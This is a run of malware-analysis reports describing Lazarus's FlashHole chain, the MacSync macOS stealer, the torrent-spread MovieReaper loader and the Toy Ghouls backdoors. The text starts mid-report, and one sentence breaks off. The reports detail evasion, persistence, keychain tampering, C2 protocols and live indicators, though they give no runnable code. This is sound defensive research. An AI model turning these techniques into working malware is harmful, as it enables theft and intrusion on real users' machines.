Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.
The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.
Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.
We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.
Data relay flow between LPEClient and C2 via ClientHub
Comparison of plugins and modules
Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.
These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.
Infrastructure
Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.
For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.
Victims
We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.
The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.
Attribution and links to other campaigns
Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.
The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.
We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.
Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.
As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.
Data leakage site linked to the COPPERHEDGE backdoor on the dark web
Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.
Overlaps between the recent attacks by Lazarus Group
Conclusion
Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.
We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.
Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.
MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.
Key points:
The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
The main malicious payload now consists of modules written in Objective-C and Swift.
At one stage of infection, the attackers use iCloud to deliver the next
Kaspersky solutions detect the threats described below under the following verdicts:
HEUR:Trojan.OSX.MacSync.*
HEUR:Trojan-PSW.OSX.MacSync.*
HEUR:Trojan-Dropper.OSX.MacSync.*
HEUR:Trojan-Downloader.OSX.MacSync.*
Technical details
Infection chain
MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:
The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:
It’s worth noting right away that MacSync shows shared traits at almost every stage:
All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.
Loader, Calendar, and Two Simple Droppers
In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.
The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:
After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.
We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.
The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:
The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.
Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:
As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:
Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:
The main function in the script is named daemon_function.
The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.
The script performs the following tasks:
Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
Gaining persistence on the system
Uploading data received from the infostealer module to the command-and-control server
One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:
The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
Here, build_pub_b64 is the server’s public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.
Then decrypt command from pkgunpack utility decrypts the key:
A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
The first 5 bytes: additional authenticated data (AAD)
The next 12 bytes: the initialization vector (IV)
The rest: the ciphertext
The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.
Decoded dek_wrap_b64
The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.
Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.
As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:
A LaunchAgent named com.apple.finder.agent
Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks
The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.
One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.
Infostealer
The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.
Fake stealer pop-up windows
Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.
Password verification with PAM
Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.
String decryption
The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:
Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
Crypto wallet application data
Telegram data
Device login and password
Keychain file
System information: list of installed applications and running processes, device model, hardware, UUID, and so on
Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
ZSH and Bash command history
Current user profile picture
The collected data is saved to a hidden directory in /tmp/.
The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious application’s resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the application’s resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:
teamid: the application is signed with a certificate that has a specific teamID (in this case, the target application’s developer)
apple: the application is an Apple service
apple-tool: the application is an Apple command-line utility
The stealer then uses the Security.framework API to try and retrieve the secret’s contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they haven’t managed to do so, which is why the feature is disabled. In the stealer’s encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:
Code section responsible for changing access to keychain services
Backdoor
The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoor’s body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.
As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executable’s overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:
AGNT1: a magic constant confirming that the configuration was decrypted correctly
C2 server URL
Access token: the same one used in the parent script
BLD-150: the backdoor build number
The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The server’s response should be a JSON file.
Method
URL path
Request parameters
Description
GET
/v1/agent/ping
tag: the victim’s unique ID combined with the backdoor build number
build: backdoor build number
Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST
/v1/agent/refresh
tag
build
old_token: previous token
The response is expected to contain an upload_token field, whose value becomes the new token.
POST
/v1/asset/<upload_id>/init
upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number
Used to create a file on the server, into which the file from the victim’s device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT
/v1/asset/<upload_id>
The request that actually uploads the file to the server.
POST
/v1/agent/<command_status>
command_status: a status unique to the commands the agent executes
tag
upload_id: the ID of the file uploaded to the server (if any)
phase: information about the command being executed or its stage
message: a message
active: command in-progress flag (true = still running; false = finished)
This URL endpoint is accessed at various stages of the backdoor’s operation. Information about command execution status serves as a telemetry source for the attackers.
Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the server’s response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:
deploy_ext: deploy an extension downloaded from the server into the victim’s browser.
deploy_ledger: replace the installed Ledger wallet with the version from the server.
regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if it’s not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victim’s browser.
The section of the regrab command where the archive’s integrity is verified and its hash is calculated before it is sent
Takeaways
The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealer’s and backdoor’s main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. It’s also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Apple’s infrastructure as one of the intermediate stages for delivering the malicious payload.
The nature of the data attackers seek to collect from a victim’s device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSync’s compromise of software developers’ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.
Torrent trackers have long been abused for distributing malicious software, disguised as popular films, games, and other content. Our previous research has shown that cybercriminals repeatedly turn to torrents as an initial infection vector, using trojanized cracks and installers to reach a large number of users. Installation guides for pirated software routinely instruct users to disable their antivirus, conditioning them to ignore the potential threats they are inviting onto their computers.
During our analysis of malware that leverages blockchain networks for its C2 infrastructure, we discovered a previously unknown modular, multi-stage framework that we dubbed MovieReaper. This report details the new crimeware campaign that began with the mass infection of users via compromised torrent tracker file storage. We have identified several hundred victims, including both individual users and organizations in multiple countries, such as Russia, Türkiye, Japan, Kenya, Uganda, and Colombia, as well as in several European countries like Spain, the Netherlands, Belgium, and Germany. We analyze the techniques for evading detection by security and sandbox solutions, and examine the capabilities of the modular framework.
Kaspersky products detect this threat as HEUR:Trojan.Win64.Agent.gen.
Technical details
Background
In mid‑August 2026, during our threat‑hunting efforts, we identified a large‑scale infection campaign involving previously unknown malware disguised as popular movies. The campaign affected both individuals and organizations across multiple countries. Our initial analysis revealed a common denominator: all of the victims had used torrent trackers. This finding prompted us to investigate the campaign further and analyze its distribution mechanism, overall scope, and unknown malware implants.
Initial infection and spread
Compromised torrent trackers are the primary vector used to distribute malware. During our investigation, we identified multiple user reports describing suspicious files being downloaded instead of the intended content.
For example, a user of a popular movie torrent tracker reported the following case on Reddit:
Further analysis of the attack revealed that instead of compromising torrent trackers, the threat actor modified a widely used public repository of torrent files, itorrents[.]org. As a result, the trackers that relied on the repository began inadvertently distributing malicious torrent files to their users. This approach is particularly dangerous because it lets the threat actor reach users of multiple trackers without having to compromise each platform individually.
As of the publication date of this report, the archive remains compromised. When a user attempts to download a torrent via a magnet link, the legitimate torrent archive returns a different torrent file. This malicious torrent leads to the download of the malware loader, used to deploy a framework that we dubbed MovieReaper.
The loader initiates the infection chain shown in the diagram below. Each stage of the chain is described in detail in the following sections.
Malware implants
The infection chain consists of several steps, where only the initial one is dropped on the disk before it is executed to avoid detection. The malware itself is not heavily obfuscated, apart from strings being encrypted with a custom stream cipher. Most of the countermeasures were aimed at avoiding detection by AV sandboxes.
Step 1: Loader
The most popular initial executable was distributed through torrent trackers under many different names (for example, the odyssey (2026) [1080p] [webrip] [5.1].exe), but the file hash (MD5: A0B13781EDD7CFDAB13D79AFFF3C83C1) was identical across all downloads. We have seen multiple different loaders, where the executable file disguises itself with a long filename and an icon of some well-known application. Most of the filenames are rather long, presumably to hide the EXE extension at the end.
After the user manually starts the application, it establishes a global mutex to ensure that only one loader is executed at a time. We have seen several mutex variations in our samples, containing a randomly generated string (in the example Global\fnulSktzSqvVLXHU). This executable then performs a series of operations in order to avoid detection by AV sandbox solutions.
While performing those operations, the malware avoids making LoadLibrary and GetProcAddress calls to acquire the addresses of required functions. Instead, it searches for loaded libraries by traversing the double-linked list taken from the Ldr field of the PEB and then performs manual parsing of the loaded DLL to calculate the function address.
After all initial checks have passed, the binary prepares to establish a network connection to a C2 web server to download the shellcode, map it to the RWX memory and execute. While doing so, the loader decodes the domain name https://deadhub[.]org and if connection to it has failed, it uses the IP address http://193.23.118[.]155 as a fallback and connects to it using plain HTTP. The malware chooses a random group of strings and uses them as a path in the HTTP request to download the parts of the shellcode.
While mapping the address space and executing the shellcode, the loader registers a vectored exception handler and rewrites the handler address in memory in order to perform a debug break. This, will not crash the program, but instead redirect controlflow to the function that actually makes a raw NtProtectVirtualMemory syscall (via a previously located “0x0F 0x05” syscall instruction inside ntdll). Then it calls the undocumented ntdll function EtwpCreateEtwThread, which is a popular alternative to CreateThread for code executionm, and executes the shellcode.
Step 2: Shellcode
The second stage of this malware performs an HTTPS request to the Solana blockchain at the endpoint /getAccountInfo endpoint for the account 6pnDGAiHgyPdmckM5Qt1YbanGzrX43WLEU159nRaNLDm. The data in field of the response contains the base64‑encoded address of a second C2, which is encrypted with a static XOR key located within the shellcode itself. To store data in this account, attackers used a simple Solana program (address: CSiY8bQLBYPdfPWkwipBzH6sijTVQVVsA279JQdvwHtL).
Utilizing the Solana blockchain as a storage layer for next-stage C2 endpoints substantially complicates infrastructure takedown efforts by defenders.
The second stage payload communicates with its C2 server strictly through HTTPS via a TLS-pinned certificate using the nanopb protobuf library as a container for transferred data. The main logic of the stage 2 implant contains several initial commands, where the most important is the one that parses the COFF file, loads it into memory, and executes the module_init function from it. This provides a convenient interface for extension of the command list, which brings us to the next stage of the payload.
Step 3: UAC Bypass and persistence
Notably, the recovered modules were compiled with symbols, which accelerated reverse engineering.
After receiving the next stage from the second C2 server, the newly loaded module performs several tasks right in the module_init function.
Stage 3 performs UAC Bypass and achieves persistence using public techniques, masquerades the original binary as C:\ProgramData\Microsoft\Windows\Telemetry\msedge.exe, and restarts itself.
The respawned process starts with the initial loader, but with a special command-line argument, which allows it to skip most of the anti-sandboxing checks and proceed straight to downloading the next payload. The executable proceeds with the same steps as before, but this time, instead of downloading the persistence and UAC bypass module, a new one is downloaded from the second C2 server. This is because the malware uses the beacon to send a flag to the remote server, indicating whether the implant is running from the Telemetry folder, which allows the C2 to distinguish between first-run and respawned instances.
Step 4: The final implant
The final module (“file manager”) exposes 21 commands that give the operator filesystem access on the victim host. This allows remote the operator to download, upload, and read files on the system; list and enumerate directories; manipulate files with create, copy, rename, move, delete, chmod, and symlink commands; and use preview and thumbnail commands to exfiltrate previews of images and files before actually extracting them.
We suspect that other modules may be loaded on demand if requested by the operator.
Infrastructure
During this malware campaign, attackers are using various commercial hosting providers for their C2 infrastructure (see the IoC section for details). Furthermore, as noted above, the campaign leverages the legitimate Solana blockchain via the RPC endpoint api.mainnet.solana.com to deliver the address of the second‑stage C2 server to the malware. This approach provides the attackers with decentralized storage for C2 addresses, adding an additional layer of resilience and making it more difficult for defenders to disrupt the campaign by simply blocking the IP addresses of the C2 servers.
Victims
The observed campaign targeted both individuals and organizations across Europe, Asia, Africa, and Latin America, with infection attempts identified in Russia, Spain, Germany, Finland, Türkiye, Japan, Nepal, Kenya, Tanzania, Ghana, Uganda, Colombia, the Netherlands, Belgium, and other countries. The targeted organizations span a wide range of sectors, including enterprise, government, IT, consulting, retail, transportation, and agriculture.
Conclusions
Our research uncovered activity by the same actor dating back to October 2025. Although the campaign has evolved over time, with the malware authors expanding their arsenal and making the loader harder to detect, the pattern remains the same. This includes encoded strings, parts of shellcode downloaded through plain HTTP, and several techniques used to avoid sandboxes and virtual machines. We will continue monitoring this actor’s activity to catch new potential threats.
The first stage offers the clearest opportunity to disrupt this campaign: it relies on a single specific domain name and a single IP address to serve the shellcode, so taking down this server would prevent subsequent infection stages. This includes the second-stage payload, which uses the Solana blockchain network for a C2 and is therefore more resistant to conventional infrastructure takedowns.
However, this framework’s self-containment, modularity and in-memory execution has potential for reuse in later campaigns with minimal rework.
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
mqtt-bird-agent 0.1.0 (HiveMQ version)
matrix-bird-agent 0.1.0 (Element version)
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
Technical details
Delivery
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
Installation
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]
Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h
Matrix monitoring agent
Usage: wtass.exe [OPTIONS] [COMMAND]
Commands:
install Register this agent with the Matrix homeserver and panel
uninstall Remove this agent's service and credentials
service Run as a Windows service (internal)
help Print this message or the help of the given subcommand(s)
Options:
-c, --config <CONFIG>
-h, --help Print help
-V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private key
channel_id: the channel identifier used to communicate with the broker
server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
Communication
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
Once a connection is established, the system’s status is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/status. The message format is:
{"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is:
{cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
The backdoor sends GET requests to
broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format:
{"cmd_id":int,"command":"str","timeout_secs":int}.
